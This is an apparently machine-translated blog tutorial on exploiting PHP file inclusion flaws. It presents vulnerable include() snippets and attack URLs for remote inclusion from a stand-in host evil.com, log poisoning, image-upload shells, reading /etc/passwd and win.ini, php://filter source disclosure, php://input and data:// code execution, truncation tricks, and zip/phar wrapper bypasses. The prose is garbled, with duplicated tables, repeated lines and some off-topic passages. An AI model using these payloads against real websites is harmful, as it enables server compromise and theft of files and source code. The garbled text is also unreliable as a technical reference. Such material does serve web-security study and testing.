PHP - A File Inclusion Vulnerability
Source:- https://tutorialboy24.blogspot.com/2021/12/php-file-inclusion-vulnerability_19.html
Definition
A file inclusion vulnerability is attributable to the PHP function in the files since the incoming file name is not properly tested.
This has led to the introduction of developers expect of the file. (Note: The file is recognized as a script file to resolve the)
- File contains divided into the local and remote file inclusion
- A remote file inclusion vulnerability: you can directly execute arbitrary code In the warehouse and you need to ensure the php.ini file in allow_url_fopen and allow_url_include are On
Correlation Function
The PHP function
| The function explanation
| If an error of the operation
include
| The statement can obtain in the specified file, all text/code/tags, and to use the included statement of file
| Introduced the document incorrect builds only warning (E_WARNING), and the script will continue executing the script
include_once
| This behavior and include statements similar to functionality as the only difference is that PHP will check if the file has been included if it is then not again contained.
require
| The statement can obtain in the specified file, all text/code/marking and copyrequireStatement of the file
| Introduced the document incorrectly, That's going to produce a fatal error (E_COMPILE_ERROR) and stop scripts run
require_once
| With a required statement similar functionality as the only difference is that PHP will check if the file has been included if it is then not again contained.
| The function explanation
| If an error of the operation
include
| The statement can obtain in the specified file, all text/code/tags, and to use the included statement of file
| Introduced the document incorrect builds only warning (E_WARNING), and the script will continue executing the script
include_once
| This behavior and include statements similar to functionality as the only difference is that PHP will check if the file has been included if it is then not again contained.
require
| The statement can obtain in the specified file, all text/code/marking and copyrequireStatement of the file
| Introduced the document incorrectly, That's going to produce a fatal error (E_COMPILE_ERROR) and stop scripts run
require_once
| With a required statement similar functionality as the only difference is that PHP will check if the file has been included if it is then not again contained.
The PHP function
| The function explanation
highlight_file
| Function file syntax highlighting
show_source
| Function file syntax highlighting
readfile
| Function to read a file and is written into the output buffer
If successful, the function returns the file read in the number of bytes of the object. If it fails, the function returns FALSE and comes with an error message. You can use the function name added before a '@' to hide the error output
file_get_contents
| Function to read the entire file into a string
fopen
| Function either open the file or URL
File
| Function to read the entire file into an array
Vulnerability Hazard
- Arbitrary code execution
- Data for the source code of the OSS Java or sensitive information
<?php if( isset($_GET['x'])) { include $_GET['x']; } ?>
Remote File Inclusion-Code Execution
Remember a remote file inclusion vulnerability that you want to use in the warehouse and you need to ensure the php.ini file in allow_url_fopen and allow_url_include are On
Victims domain: http://example.com
The attacker domain: http://evil.com
The attacker files: 1.txt
Victims domain: http://example.com
The attacker domain: http://evil.com
The attacker files: 1.txt
<?php phpinfo(); ?>
LocalFile Contains-Execute Code
Picture Horse Write Shell
Victim domain name: http://example.com
Suppose the victim server has an upload function, but only one picture can be uploaded. At this time, we can upload a picture with a Trojan horse on the upload interface of the victim's server
When attacking: http://example.com/1.php? x=./1.jpg
Contains the log GetShell
The log records the client request and server response information
For example, when visiting: http://example.com/<? php phpinfo(); ?> <? php phpinfo(); ?> will be recorded in the log
For example, when visiting: http://example.com/<? php phpinfo(); ?> <? php phpinfo(); ?> will be recorded in the log
System
| Server
| Location of possible error logs
Windows
| Apache
| ./Apache/logs/error.log
Windows
| nginx
| ./nginx/logs/error.log
Linux
| Apache
| /var/log/apache2/error.log
Linux
| Apache
| /var/log/httpd/error.log
Linux
| Apache
| /etc/httpd/logs/error.log
Linux
| nginx
| /var/log/nginx
I use phpStudy locally, so the log location is:
| Server
| Location of possible error logs
Windows
| Apache
| ./Apache/logs/error.log
Windows
| nginx
| ./nginx/logs/error.log
Linux
| Apache
| /var/log/apache2/error.log
Linux
| Apache
| /var/log/httpd/error.log
Linux
| Apache
| /etc/httpd/logs/error.log
Linux
| nginx
| /var/log/nginx
I use phpStudy locally, so the log location is:
D:\phpStudy\PHPTutorial\Apache\logs\error.log
When attacking: http://example.com/1.php x=D:\phpStudy\PHPTutorial\Apache\logs\error.log
Local Include Read File
Windows Read File
When attacking: http ://example.com/1.php? x=C:\Windows\win.ini
Linux Read File
- When attacking: http://example.com/1.php? x=/etc/passwd
Read PHP File Source Code
If we say that we include the PHP file directly, it will be parsed, resulting in not being able to see the source code, so the file can be read using the encapsulation protocol
For example, when we attacked: http://example.com/1.php? x=php://filter/read=convert.base64-encode/resource=1.php
For example, when we attacked: http://example.com/1.php? x=php://filter/read=convert.base64-encode/resource=1.php
Indicates that the source code of the file 1.php is read
Truncation Bypass
<?php if(isset($_GET['x'])) { include $_GET['x'] . '.html'; } ?>
Required environment
- PHP version is less than 5.3.4
- magic_quotes_gpc is off
If the above conditions are met, you can use this method to bypass
Truncated
Victim domain name: http://example.com
Local File Inclusion Attack
Local File Inclusion Attack
<?php phpinfo(); ?>
Remote File Inclusion Attack
Remember that the remote file contains to use make sure that allow_url_fopen and allow_url_include in php.ini are both On
- Attacker domain name: http://evil.com
- Attacker file: 1.txt
<?php phpinfo(); ?>
Path Length Truncation
Required environment
- PHP version is less than 5.3.10
Workaround: Use characters
- .
- /.
- ./
(Note the order) to truncate, because the file path has a length limit
System file path length limitation:
System file path length limitation:
- Windows 259 bytes
- Linux 4096 bytes
<?php phpinfo(); ?>
- Local file contains attack: http://example.com/2.php?x=1.jpg....................................................
- Local file contains the attack: http://example.com/2.php?x=1.jpg././././././././././././././ ././././././././././././
- Local file contains the attack: http://example.com/2.php?x=1.jpg/./././././././././././././. /./././././././././././././././././
PHP Bypass Restrictions
Protocol
| Features
file ://
| Access local file system
http ://
| Visit HTTP(S) URL
ftp ://
| Access FTP(S) URL
php ://
| Access to various input/output streams (I /O streams)
zlib ://
| Compressed stream
data ://
| Data (RFC 2397)
globe ://
| Find matching file path patterns
phar: //
| PHP archive
ssh2://
| Secure Shell 2
rar ://
| RAR
ogg ://
| Audio stream
expect ://
| Handling interactive streams
| Features
file ://
| Access local file system
http ://
| Visit HTTP(S) URL
ftp ://
| Access FTP(S) URL
php ://
| Access to various input/output streams (I /O streams)
zlib ://
| Compressed stream
data ://
| Data (RFC 2397)
globe ://
| Find matching file path patterns
phar: //
| PHP archive
ssh2://
| Secure Shell 2
rar ://
| RAR
ogg ://
| Audio stream
expect ://
| Handling interactive streams
<?php if(isset($_GET['x'])) { include $_GET['x']; } ?>
file://protocol
PHP.ini: The file:// protocol can also be used normally in the case of double off;
- allow_url_fopen: off/on
- allow_url_include: off/on
- file:// is used to access local files
- file:// [absolute path and file name of the file]
php://protocol
php://filter can also be used normally in the case of double off; condition: No need to enable allow_url_fopen Only php://input, php://stdin, php://memory and php://temp need to enable allow_url_include.
php:// access to various input/output streams (I/O streams)
Frequently used in CTF are php://filter and php://input
- php://filter is used to read the source code
- php://input is used to execute PHP code
php://filter
php://filter is a meta-wrapper designed for filtering applications when the data stream is opened. This is very useful for all-in-one file functions, like readfile(), file(), and file_get_contents(), where there is no chance to apply other filters before the data stream content is read.
- resource=<data stream to be filtered> #This parameter is required. It specifies the data stream you want to filter.
- read=<filter list of reading chain> #This parameter is optional. One or more filter names can be set, separated by a pipe character (|).
- write=<filter list of write chain> #This parameter is optional. One or more filter names can be set, separated by a pipe character (|).
- <; Filter list of two chains> #Any filter list that is not prefixed with read= or write= will be applied to the read or write chain as appropriate.
http://example.com/1.php?x=php://filter/read=convert.base64-encode/resource=upload.php
- The filter read here is convert.base64-encode, which is the same as the literal meaning, base64-encode the input stream.
resource=upload.php, which means to read the content of upload.php
So you can to base64 encoding of the read document source code
Filter
The filter has a lot of kinds, have string filter, filter, compressed filters, encryption filter
String Filter
string.rot13 Perform rot13 conversion string.toupper Capitalize all characters string.tolower All lowercase characters string.strip_tags The result after removing empty characters, HTML and PHP tags. The function is similar to the strip_tags() function. If you don't want some characters to be eliminated, you can use a string or an array in two ways.
Example
<?php $fp = fopen('php://output','w'); stream_filter_append($fp,'string.rot13'); echo "rot13:"; fwrite($fp, "This is a test.\n"); fclose($fp); echo "<br>"; $fp = fopen('php://output','w'); stream_filter_append($fp,'string.toupper'); echo "Upper:"; fwrite($fp, "This is a test.\n"); fclose($fp); echo "<br>"; $fp = fopen('php://output','w'); stream_filter_append($fp,'string.tolower'); echo "Lower:"; fwrite($fp, "This is a test.\n"); fclose($fp); echo "<br>"; $fp = fopen('php://output','w'); echo "Del1:"; stream_filter_append($fp,'string.strip_tags', STREAM_FILTER_WRITE); fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n"); fclose($fp); echo "<br>"; $fp = fopen('php://output','w'); echo "Del2:"; stream_filter_append($fp,'string.strip_tags', STREAM_FILTER_WRITE, "<b>"); fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n"); fclose($fp); echo "<br>"; $fp = fopen('php://output','w'); stream_filter_append($fp,'string.strip_tags', STREAM_FILTER_WRITE, array('b','h1')); echo "Del3:"; fwrite($fp, "<b>This is a test.</b>!!!!<h1>~~~~</h1>\n"); fclose($fp); ?>
Conversion Filter
Base64 Encoding & Decoding
Base64 encoding converts the binary data into text format, which is passed through a communication channel where a user can handle text safely. Base64 is also called Privacy enhanced Electronic mail (PEM) and is primarily used in the email encryption process.
Python includes a module called BASE64 which includes two primary functions as given below −
Python includes a module called BASE64 which includes two primary functions as given below −
- Base64.decode(input, output) − It decodes the input value parameter specified and stores the decoded output as an object.
- Base64.encode(input, output) − It encodes the input value parameter specified and stores the decoded output as an object.
Quoted-Printable Encoding & Decoding
For example:
<?php $fp = fopen('php://output','w'); stream_filter_append($fp,'convert.base64-encode'); echo "base64-encode:"; fwrite($fp, "This is a test.\n"); fclose($fp); echo "<br>"; $param = array('line-length' => 8,'line-break-chars' => "\n"); $fp = fopen('php://output','w'); stream_filter_append($fp,'convert.base64-encode', STREAM_FILTER_WRITE, $param); echo "\nbase64-encode-split:\n"; fwrite($fp, "This is a test.\n"); fclose($fp); echo "<br>"; $fp = fopen('php://output','w'); stream_filter_append($fp,'convert.base64-decode'); echo "\nbase64-decode:"; fwrite($fp, "VGhpcyBpcyBhIHRlc3QuCg==\n"); fclose($fp); echo "<br>"; $fp = fopen('php://output','w'); stream_filter_append($fp,'convert.quoted-printable-encode'); echo "quoted-printable-encode:"; fwrite($fp, "This is a test.\n"); fclose($fp); echo "<br>"; $fp = fopen('php://output','w'); stream_filter_append($fp,'convert.quoted-printable-decode'); echo "\nquoted-printable-decode:"; fwrite($fp, "This is a test.=0A"); fclose($fp); echo "<br>"; ?>
Compression Filter
zlib.* The compression filter is available since PHP version 5.1.0, provided that zlib is activated. It can also be used in version 5.0.x as a backdoor by installing the zlib_filter package from »PECL.
This filter is not available in PHP 4.
This filter is not available in PHP 4.
<?php $params = array('level' => 6,'window' => 15,'memory' => 9); $original_text = "This is a test.\nThis is only a test.\nThis is not an important string.\n"; echo "The original text is ". strlen($original_text)." characters long.\n"; $fp = fopen('test.deflated','w'); stream_filter_append($fp,'zlib.deflate', STREAM_FILTER_WRITE, $params); fwrite($fp, $original_text); fclose($fp); echo "The compressed file is ". filesize('test.deflated')." bytes long.\n"; echo "The original text was:\n"; /* Use readfile and zlib.inflate to decompress on the fly */ readfile('php://filter/zlib.inflate/resource=test.deflated'); /* Generates output: The original text is 70 characters long. The compressed file is 56 bytes long. The original text was: This is a test. This is only a test. This is not an important string. */ ?>
Encryption Filter
php://filter Read the Source Code of PHP files
If we say that we include the php file directly, it will be parsed, resulting in not being able to see the source code, so the file can be read using the encapsulation protocol
For example, when we attacked:
For example, when we attacked:
php://input Execute Code
- php://input is a read-only stream that can access the original data of the request. You can read the original data that is not parsed by the post, and execute the data in the post request as PHP code.
- Because it does not depend on specific php.ini directives.
- Note: php://input is invalid when enctype="multipart/form-data".
- allow_url_fopen :off/on # can be opened or closed
- allow_url_include: on # must be turned on
php://output
<?php $code=$_GET["a"]; file_put_contents($code,"test"); ?>
data://
- data: resource type; coding, content
- Datastream wrapper
- When allow_url_include is turned on, any file inclusion will become any command execution
PHP.ini: The data:// protocol must be on in order to be used normally; allow_url_fopen: on allow_url_include: on php version is greater than or equal to php5.2# Test code # File name: xxx.php <?php $filename=$_GET["a"]; include("$filename"); ?>How to use http://127.0.0.1/xxx.php?a=data://text/plain,<?php phpinfo()?> or http://127.0.0.1/xxx.php?a=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= or http://127.0.0.1/xxx.php?a=data:text/plain,<?php phpinfo()?> or http://127.0.0.1/xxx.php?a=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
zip://, bzip2://, zlib:// protocol
PHP.ini: The zip://, bzip2://, zlib:// protocols can also be used normally in the case of double off;
- allow_url_fopen: off/on
- allow_url_include: off/on
- The three encapsulation protocols all open compressed files directly.
- compress.zlib://file.gz-handles compressed packages with the suffix'.gz'
- compress.bzip2://file.bz2-the compressed package with the suffix of'.bz2' is processed
- zip://archive.zip#dir/file.txt-Process files in the compressed package with the suffix of'.zip'
zip://, bzip2://, zlib:// are all compressed streams, you can access the sub-files in the compressed file, and more importantly, there is no need to specify the suffix name
zip://protocol
php version is greater than or equal to php5.3.0
Instructions:
- zip://archive.zip#dir/file.txt
- zip:// [absolute path of compressed file]#[sub-file name in compressed file]**
- Use absolute path + URL encoding#
test:
Create a new file named zip.txt with the content <?php phpinfo();?>, and then compress it into a zip file named test.zip.
Renamed to jpg
bzip2://protocol
Instructions:
- compress.bzip2://file.bz2
- A relative path is also ok
test
- Use 7-zip to generate a bz2 compressed file.
- payload: http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/cyberdevil/Desktop/test.bz2 Or change the file to jpg suffix
- http://127.0.0.1/xxx.php?a=compress.bzip2://C:/Users/cyberdevil/Desktop/test.jpg
zlib://protocol
Instructions:
- compress.zlib://file.gz
- A relative path is also ok
# 1.jpg code <?php phpinfo(); ?>
PHP Pseudo-Protocol Knot
Small Example
# For example, this limits us to only .html files # File name: 2.php <?php if(isset($_GET['x'])) { include $_GET['x'].'.html'; } ?>
Limits the bypass methods that can only include .xxx files
Bypass Method one-zip protocol
Create a new file named 1.html with the content <?php phpinfo();?>, and then compress it into a zip file named 111.zip.
Bypass Method two-zip protocol
Some upload points may be restricted, you can only upload jpg
Create a new file named 1.html with the content <?php phpinfo();?>, and then compress it into a zip file named 111.zip.
Attack Payload: http://example.com/2.php?x=zip://111.jpg%231
Bypass Method three-phar protocol
Create a new file named 1.html with the content <?php phpinfo();?>, and then compress it into a zip file named 111.zip.
If you can upload a zip file, upload the zip file, if not, rename it to 111.jpg and upload it.
- Attack payload-1: http://example.com/2.php?x=phar://111.jpg%2F1
- Attack payload-2: http://example.com/2.php?x=phar://111.zip%2F1